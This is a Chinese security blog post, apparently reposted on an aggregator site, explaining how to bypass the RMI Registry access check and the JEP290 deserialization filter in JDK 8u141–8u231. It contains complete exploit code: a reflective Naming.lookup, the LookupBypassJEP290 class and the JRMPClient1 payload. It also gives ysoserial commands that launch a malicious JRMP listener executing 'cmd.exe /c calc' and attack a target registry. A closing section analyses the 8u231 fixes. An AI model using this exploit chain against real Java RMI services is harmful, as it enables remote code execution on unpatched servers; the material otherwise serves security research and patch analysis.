JAVA安全之JDK8u141版本绕过研究

news/2025/1/18 11:26:37/文章来源:https://www.cnblogs.com/cn-sec-/p/18678161

基本介绍

从JDK8u141开始JEP290中针对RegistryImpl_Skel#dispatch中bind、unbind、rebind操作增加了checkAccess检查,此项检查只允许来源为本地,下面以bind为例:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {if (var4 != 4905912898345647071L) {throw new SkeletonMismatchException("interface hash mismatch");} else {RegistryImpl var6 = (RegistryImpl)var1;String var7;ObjectInput var8;ObjectInput var9;Remote var80;switch (var3) {case 0:RegistryImpl.checkAccess("Registry.bind");try {var9 = var2.getInputStream();var7 = (String)var9.readObject();var80 = (Remote)var9.readObject();} catch (ClassNotFoundException | IOException var77) {throw new UnmarshalException("error unmarshalling arguments", var77);} finally {var2.releaseInputStream();}var6.bind(var7, var80);try {var2.getResultStream(true);break;} catch (IOException var76) {throw new MarshalException("error marshalling return", var76);}

checkAccess方法的具体实现如下,从中可以看到这里获取了客户端的IP地址随后进行了检查只允许本地的IP地址进行bind、unbind、rebind

public static void checkAccess(String var0) throws AccessException {try {final String var1 = getClientHost();final InetAddress var2;try {var2 = (InetAddress)AccessController.doPrivileged(new PrivilegedExceptionAction<InetAddress>() {public InetAddress run() throws UnknownHostException {return InetAddress.getByName(var1);}});} catch (PrivilegedActionException var5) {throw (UnknownHostException)var5.getException();}if (allowedAccessCache.get(var2) == null) {if (var2.isAnyLocalAddress()) {throw new AccessException(var0 + " disallowed; origin unknown");}try {AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {public Void run() throws IOException {(new ServerSocket(0, 10, var2)).close();RegistryImpl.allowedAccessCache.put(var2, var2);return null;}});} catch (PrivilegedActionException var4) {throw new AccessException(var0 + " disallowed; origin " + var2 + " is non-local host");}}} catch (ServerNotActiveException var6) {} catch (UnknownHostException var7) {throw new AccessException(var0 + " disallowed; origin is unknown host");}

执行效果

下面我们本地启动一个JAVA RMI服务端,然后让本地局域网内的其他主机来模拟客户端来实施攻击操作,利用的方法为bind方法,具体利用流程如下:
Step 1:首先启动服务器端

Step 2:随后客户端模拟攻击者进行端口扫描发现开启了1099端口,随后直接拿起ysoserial就直接开打

"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.10 1099 CommonsCollections6 calc

报错信息如下:


java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:java.rmi.AccessException: Registry.bind disallowed; origin /192.168.1.105 is non-local hostat sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:389)at sun.rmi.transport.Transport$1.run(Transport.java:200)at sun.rmi.transport.Transport$1.run(Transport.java:197)at java.security.AccessController.doPrivileged(Native Method)at sun.rmi.transport.Transport.serviceCall(Transport.java:196)at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)at java.security.AccessController.doPrivileged(Native Method)at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)at java.lang.Thread.run(Thread.java:748)at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.AccessException: Registry.bind disallowed; origin /192.168.1.105 is non-local hostat sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:350)at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:69)at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:468)at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:300)at sun.rmi.transport.Transport$1.run(Transport.java:200)at sun.rmi.transport.Transport$1.run(Transport.java:197)at java.security.AccessController.doPrivileged(Native Method)at sun.rmi.transport.Transport.serviceCall(Transport.java:196)at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:568)at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:826)at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:683)at java.security.AccessController.doPrivileged(Native Method)at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:682)at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)at java.lang.Thread.run(Thread.java:748)

绕过思路

JDK 8u141之后可以利用lookup+JRMP(JRMP是为了绕过JEP290,此为8u121之后必须条件)来绕过checkacces并且实施攻击,在之前的RMI通信源码调试分析中我们了解到注册中心时反序列化的点在RegistryImpl_Skel#dispatch中,其中var3代表客户端发起连接的方法

其中对应的关系如下:

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

在看源代码的时候我们可以发现在bind,rebind,unbind和lookup中都有反序列化操作,但只有lookup中没有调用checkAccess

而且可以看到的是在lookup中的反序列化操作是String

由于RegistryImpl_Stub#lookup这个方法只接受一个String参数,我们在客户端使用它来传递恶意的对象是不行的,但是我们可以在ysoserial中自己实现一个lookup方法,使它接受Remote对象作为参数


package ysoserial.exploit;
import ysoserial.payloads.util.Reflections;
import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteRef;
public class Naming {/*** Disallow anyone from creating one of these*/private Naming() {}public static Remote lookup(Registry registry, Object obj)throws Exception {RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry, "ref");long interfaceHash = Long.valueOf(String.valueOf(Reflections.getFieldValue(registry, "interfaceHash")));java.rmi.server.Operation[] operations = (Operation[]) Reflections.getFieldValue(registry, "operations");java.rmi.server.RemoteCall call = ref.newCall((java.rmi.server.RemoteObject) registry, operations, 2, interfaceHash);try {try {java.io.ObjectOutput out = call.getOutputStream();//反射修改enableReplaceReflections.setFieldValue(out, "enableReplace", false);out.writeObject(obj); // arm obj} catch (java.io.IOException e) {throw new java.rmi.MarshalException("error marshalling arguments", e);}ref.invoke(call);return null;} catch (RuntimeException | RemoteException | NotBoundException e) {if(e instanceof RemoteException| e instanceof ClassCastException){return null;}else{throw e;}} catch (java.lang.Exception e) {throw new java.rmi.UnexpectedException("undeclared checked exception", e);} finally {ref.done(call);}}
}

随后构建LookupBypassJEP290

package ysoserial.exploit;
import java.io.IOException;
import java.net.Socket;
import java.rmi.ConnectIOException;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RMIClientSocketFactory;
import java.security.cert.X509Certificate;
import java.util.concurrent.Callable;
import javax.net.ssl.*;
import ysoserial.payloads.JRMPClient1;
import ysoserial.secmgr.ExecCheckingSecurityManager;
public class LookupBypassJEP290 {private static class TrustAllSSL implements X509TrustManager {private static final X509Certificate[] ANY_CA = {};public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }}private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {public Socket createSocket(String host, int port) throws IOException {try {SSLContext ctx = SSLContext.getInstance("TLS");ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);SSLSocketFactory factory = ctx.getSocketFactory();return factory.createSocket(host, port);} catch(Exception e) {throw new IOException(e);}}}public static void main(final String[] args) throws Exception {final String host = args[0];final int port = Integer.parseInt(args[1]);final String command = args[2];Registry registry = LocateRegistry.getRegistry(host, port);try {registry.list();} catch(ConnectIOException ex) {registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());}// ensure payload doesn't detonate during construction or deserializationexploit(registry, command);}public static void exploit(final Registry registry,final String command) throws Exception {new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {JRMPClient1 jrmpclient = new JRMPClient1();Remote remote = jrmpclient.getObject(command);try {Naming.lookup(registry,remote);} catch (Throwable e) {e.printStackTrace();}return null;}});}
}

在这里需要注意的是我们不能直接指定JRMPClient这个payload来做LookupBypassJEP290的payload,因为AnnotationInvocationHandler会使服务端抛出REJECTED,AnnotationInvocationHandler类在LookupBypassJEP290中的使用只是为了把对象包装成Remote接口,而分析了JRMPClient这个payload发现它的反序列化过程本来就是从RemoteObject#readObject开始的,所以直接改写构造如下JRMPClient1

package ysoserial.payloads;
import java.rmi.Remote;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( {"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient1 extends PayloadRunner implements ObjectPayload<Remote> {public Remote getObject (final String command ) throws Exception {String host;int port;int sep = command.indexOf(':');if ( sep < 0 ) {port = new Random().nextInt(65535);host = command;}else {host = command.substring(0, sep);port = Integer.valueOf(command.substring(sep + 1));}ObjID id = new ObjID(new Random().nextInt()); // RMI registryTCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));Remote obj = new RemoteObjectInvocationHandler(ref);return obj;}public static void main ( final String[] args ) throws Exception {Thread.currentThread().setContextClassLoader(JRMPClient1.class.getClassLoader());PayloadRunner.run(JRMPClient1.class, args);}
}

工具打包

通过对上面改写之后的ysoserial进行打包

工具使用

在上面的执行效果一小节中的利用过程只是展示了CheckAccess关于异端请求处理的拦截效果,在实际的利用过程中此策略出现在JDK 8u141之后,而且在JDK 8u121之后加入了JEP290机制,所以在JDK8u121~141之间可以直接利用UnicastRef链路进行绕过,而在JDK 8u141~231则需要结合CheckAccess的绕过与JRMP反序列化机制来绕过,下面展示JDK8u141之后的真实环境下的利用流程: Step 1:首先使用ysoserial在攻击端启动一个恶意的JRMPListener(CommonCollections1的链在1.8下用不了,所以这里用了CommonCollections5)

"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.JRMPListener 1088 CommonsCollections5 "cmd.exe /c calc"

Step 2:启动一个RMI服务来模拟受害者


package org.al1ex;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {public static void main(String[] args) {try {// 创建远程对象HelloService helloService = new HelloServiceImpl();// 创建 RMI 注册表Registry registry = LocateRegistry.createRegistry(1099);registry.bind("HelloService", helloService); // 绑定远程对象到注册表System.out.println("RMI Server is ready.");} catch (Exception e) {e.printStackTrace();}}
}

Step 3:攻击端获取注册中心示例并将请求给重定向到我们恶意的JRMP服务端

#格式说明
"C:\Program Files\Java\jdk1.8.0_151\bin\java.exe" -cp ysoserial.jar ysoserial.exploit.LookupBypassJEP290 <攻击目标IP> <攻击目标端口> <本地JRMP服务IP>:<本地JRMP服务端口>
#执行示例
"C:\Program Files\Java\jdk1.8.0_181\bin\java.exe"  -cp ysoserial.jar ysoserial.exploit.LookupBypassJEP290 192.168.1.10 1099 192.168.1.16:1088

随后在服务端成功执行命令:

修复措施

异常处理

在JDK 8u231中RegistryImpl_Skel#dispatch中的每个case都增加了ClassCastException,执行到反序列化时会因为反序列化返回的对象类型不是String而报错,从而调用StreamRemoteCall#discardPendingRefs

discardPendingRefs随后调用discardRefs()

在discardRefs()清除incomingRefTable属性的值,从而阻断了我们从JRMP到恶意服务端的请求过程

有人以为发起JRMP请求这个操作是在readObject的调用链中完成的,然而其实readObject中的调用链中只是填充ref,而真正发起连接的是var2.releaseInputStream()

下断点调试可以发现注册中心在DGCimpl_Stub的ditry中跟JRMP开始建立连接,首先通过newCall建立连接,随后通过writeObject写入要请求的数据,invoke来处理传输数据并将数据发送到JRMP端,跟入this.ref.invoke(var5);


随后跟入var1.executeCall():

随后JRMP端发过来的数据会在这里被反序列化

增过滤器

在JDK8u231的dirty函数中多了setObjectInputFilter过程,所以用UnicastRef就没法再进行绕过了

sun.rmi.transport.DGCImpl_Stub#dirty

leaseFilter代码如下所示:

private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo var0) {if (var0.depth() > (long)DGCCLIENT_MAX_DEPTH) {return Status.REJECTED;} else {Class var1 = var0.serialClass();if (var1 == null) {return Status.UNDECIDED;} else {while(var1.isArray()) {if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGCCLIENT_MAX_ARRAY_SIZE) {return Status.REJECTED;}var1 = var1.getComponentType();}if (var1.isPrimitive()) {return Status.ALLOWED;} else {return var1 != UID.class && var1 != VMID.class && var1 != Lease.class && (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !"java.lang".equals(var1.getPackage().getName()) && !"java.rmi".equals(var1.getPackage().getName())) && var1 != StackTraceElement.class && var1 != ArrayList.class && var1 != Object.class && !var1.getName().equals("java.util.Collections$UnmodifiableList") && !var1.getName().equals("java.util.Collections$UnmodifiableCollection") && !var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") && !var1.getName().equals("java.util.Collections$EmptyList") ? Status.REJECTED : Status.ALLOWED;}}}

文末小结

本篇文章主要介绍了针对JDK 8u141JDK8u231之间的CheckAccess的绕过+JEP290的绕过实现

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/871180.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

漏洞预警 | Apache NiFi信息泄露漏洞

0x00 漏洞编号CVE-2024-565120x01 危险等级中危0x02 漏洞概述 Apache NiFi是一个强大的、易于使用的数据集成平台,旨在自动化和管理数据流,尤其是在大数据环境中。0x03 漏洞详情CVE-2024-56512漏洞类型:信息泄露 影响:获取敏感信息 简述:Apache NiFi的/nifi-api/flow/proc…

漏洞预警 | Netis Wifi路由器信息泄露漏洞

0x00 漏洞编号CVE-2024-484550x01 危险等级高危0x02 漏洞概述 Netis Wi-Fi路由器以其稳定的性能、易用的管理界面以及较高的性价比受到许多用户的青睐。0x03 漏洞详情CVE-2024-48455漏洞类型:信息泄露 影响:获取敏感信息 简述:Netis Wi-Fi路由器的/cgi-bin/skk_get.cgi接口存…

漏洞预警 | 明源地产ERP SQL注入漏洞

0x00 漏洞编号暂无0x01 危险等级高危0x02 漏洞概述 明源地产ERP是一款专为房地产行业设计的企业资源计划管理系统,致力于为房地产开发企业提供全面的管理解决方案。0x03 漏洞详情 漏洞类型:SQL注入 影响:获取敏感信息 简述:明源地产ERP系统的X-Forwarded-For头部存在SQL注入…

多项式算法初探:从 FFT 到 FWT(目前只有FFT)

多项式一向是算法竞赛中相当博大精深的东西,作为一个蒟蒻,我将会以最大的努力完成这篇记录,以防自己以后看不懂qwq。FFT(快速傅里叶变换) FFT 是一种可以在 \(O(n\log n)\) 的时间内完成多项式乘法的算法。这个算法的劣势在于精度。 我将会从复数、DFT、FFT 和 IFFT 四个部分…

漏洞预警 | WordPress Plugin Radio Player SSRF漏洞

0x00 漏洞编号CVE-2024-543850x01 危险等级高危0x02 漏洞概述 WordPress插件Radio Player是一种简单而有效的解决方案,用于将实时流媒体音频添加到您的WordPress网站。0x03 漏洞详情CVE-2024-54385漏洞类型:SSRF 影响:获取敏感信息 简述:Radio Player的/wp-admin/admin-aja…

从零开始的PHP原生反序列化漏洞

1、写在前面 OK 兄弟们,这几天一直在面试,发现很多 HR 喜欢问反序列化相关的内容,今天咱们就从最简单的 PHP 原生反序列化入手,带大家入门反序列化 2、PHP 序列化 在 PHP 中,有反序列化,就有序列化,我们先来解释一下序列化。 所谓序列化,就是将 PHP 的一个对象,序列化…

简单讲一下免杀的一个思想

这几天一直在忙,没时间学新东西,也不知道写什么,正好今天有人跟我要免杀,cs 二开的东西,这里就水一篇文章,带各位入门免杀,建立一个免杀思路。 1、什么是免杀? 首先各位需要了解一下,免杀的基本概念免杀,全称为反杀毒技术,用来使木马病毒程序逃过杀毒软件的检测免杀…

读量子霸权07光合作用

光合作用转化CO2、阳光、水为糖和氧气,对地球生命至关重要。量子计算机或能揭秘光合作用,助力高效光伏电池和作物增产。人工光合作用和“人工树叶”或对抗全球变暖,量子计算机或加速其进展。1. 光合作用 1.1. 生命起源的一幕主要戏剧便是光合作用,一个看似简单的过程1.1.1.…

关于网传微信聊天记录提取工具留痕盗取个人信息的分析

今天早上看到一篇文章,是关于一个微信聊天记录提取工具泄露个人信息的内容,于是我就好奇,看了一下作者的 github,然后也是自己小小的分析了一下 1、官方地址 Github: https://github.com/LC044/WeChatMsg 2、作者自证 url:https://github.com/LC044/WeChatMsg/issues/4923…

2024 11~12 月 做题记录(待更新)

普通和理所当然是什么呢CF2047D Move Back at a Cost 要使字典序最大,每次都要找到最小的数,把它前面的数都后移. 因为可以钦定后移的顺序使得后移的数按升序排列,所以每个数最多被移位一次. 定序后开两个队列模拟即可. CCPC2024 上海F 羁绊大师 将羁绊相同的英雄相连,因为…

看完这章你也会黑盒edu通杀

负责声明: 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用 信息收集: 在一个阳光明媚的中午一位刚吃完午饭的安服仔…